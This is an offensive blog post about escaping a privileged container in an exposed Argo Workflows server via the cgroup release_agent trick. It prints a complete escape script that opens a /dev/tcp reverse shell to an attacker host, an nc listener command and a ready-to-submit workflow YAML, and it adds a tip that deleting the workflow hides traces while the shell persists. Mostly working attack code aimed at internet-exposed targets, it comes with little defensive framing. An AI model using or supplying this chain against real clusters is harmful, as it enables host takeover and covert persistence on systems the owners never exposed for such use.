What Are We Doing

In my recent escapades of testing various workflow engines I eventually found and grew fond of Argo. Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows is implemented as a Kubernetes CRD. What does this mean? Basically you can define jobs via a yaml file and have it execute docker containers. It is more common than not for Argo to be able to run privileged containers and this is precisely what we intend to exploit.

One of Argo’s features is the ability to run a privileged container just as you might when using Docker outside of Kubernetes or Argo. When using this --privileged flag containers have root privileges on the host machine, containers have full access to all devices, and not under restrictions from AppArmor, seccomp, or other security features of some Linux distributions. In addition to all that the usage of the --privileged flag introduces the potential for a container escape allowing us to run arbitrary code on the host machine allowing an attacker to take over a target machine.

Setup

For the purposes of this post I have setup the following:

1. Argo server running @ 10.0.0.2 (known later as target)
2. Attacker server running @ 10.0.0.3 (known later as attacker)

For the purposes of this example imagine target is exposing Argo on the internet on it’s public IP.

Argo Container to Root - How?

So now we know what our setup looks like and what Argo is mainly used for. But what about the exploit? How do we get the code that runs inside of the container to execute on the host? Well Trail of Bits did an amazing post on this exact technique (in fact it’s where I learned it). Some of the information below is taken from there for easy reading.

Requirements to use this technique

According to Trail of Bits, in fact, --privileged provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:

1. We must be running as root inside the container
2. The container must be run with the SYS_ADMIN Linux capability
3. The container must lack an AppArmor profile, or otherwise allow the mount syscall
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.

Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN. If you want to know more, please read the full post at Trail of Bits

The Actual Container Escape

mkdir -p /tmp/cgrp; mount -t cgroup -o memory cgroup /tmp/cgrp; mkdir -p /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "0<&108-;exec 108<>/dev/tcp/YOUR_SERVER_IP/YOUR_SERVER_IP;sh <&108 >&108 2>&108 > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Listening On Our Server

Feel free to replace 8080 with a port of your choosing to listen on.

nc -lvp 8080

Put It Into Argo

Now I will assume you have access target:8443. This is the default port for Argo, although it’s commonly served over :80 and :443 in the wild.

After you navigate to Argo’s dashboard, click “Submit New Template”

Paste in the following and click Submit. Remember to replace YOUR_SERVER_IP and YOUR_SERVER_PORT with your values.

metadata:
  namespace: default
  generateName: container-escape-
spec:
  templates:
    - name: hello-world
      script:
        name: main
        image: ubuntu:latest
        securityContext:
          privileged: true
          capabilities:
            add:
              - SYS_ADMIN
        command: [bash]
        source: |
          mkdir -p /tmp/cgrp; mount -t cgroup -o memory cgroup /tmp/cgrp; mkdir -p /tmp/cgrp/x
          echo 1 > /tmp/cgrp/x/notify_on_release
          host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
          echo "$host_path/cmd" > /tmp/cgrp/release_agent
          echo '#!/bin/sh' > /cmd
          echo "0<&108-;exec 108<>/dev/tcp/YOUR_SERVER_IP/YOUR_SERVER_PORT;sh <&108 >&108 2>&108 > $host_path/output" >> /cmd
          chmod a+x /cmd
          sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

  entrypoint: hello-world
  arguments: {}

You should see your container run for a second and then complete successfully.

Now we check out server. You should see a connection.

Now normally if we delete the workflow it will stop containers and stop our shell. But since we escaped the container you can delete the workflow, leaving no traces and keep your shell running.

Enjoy.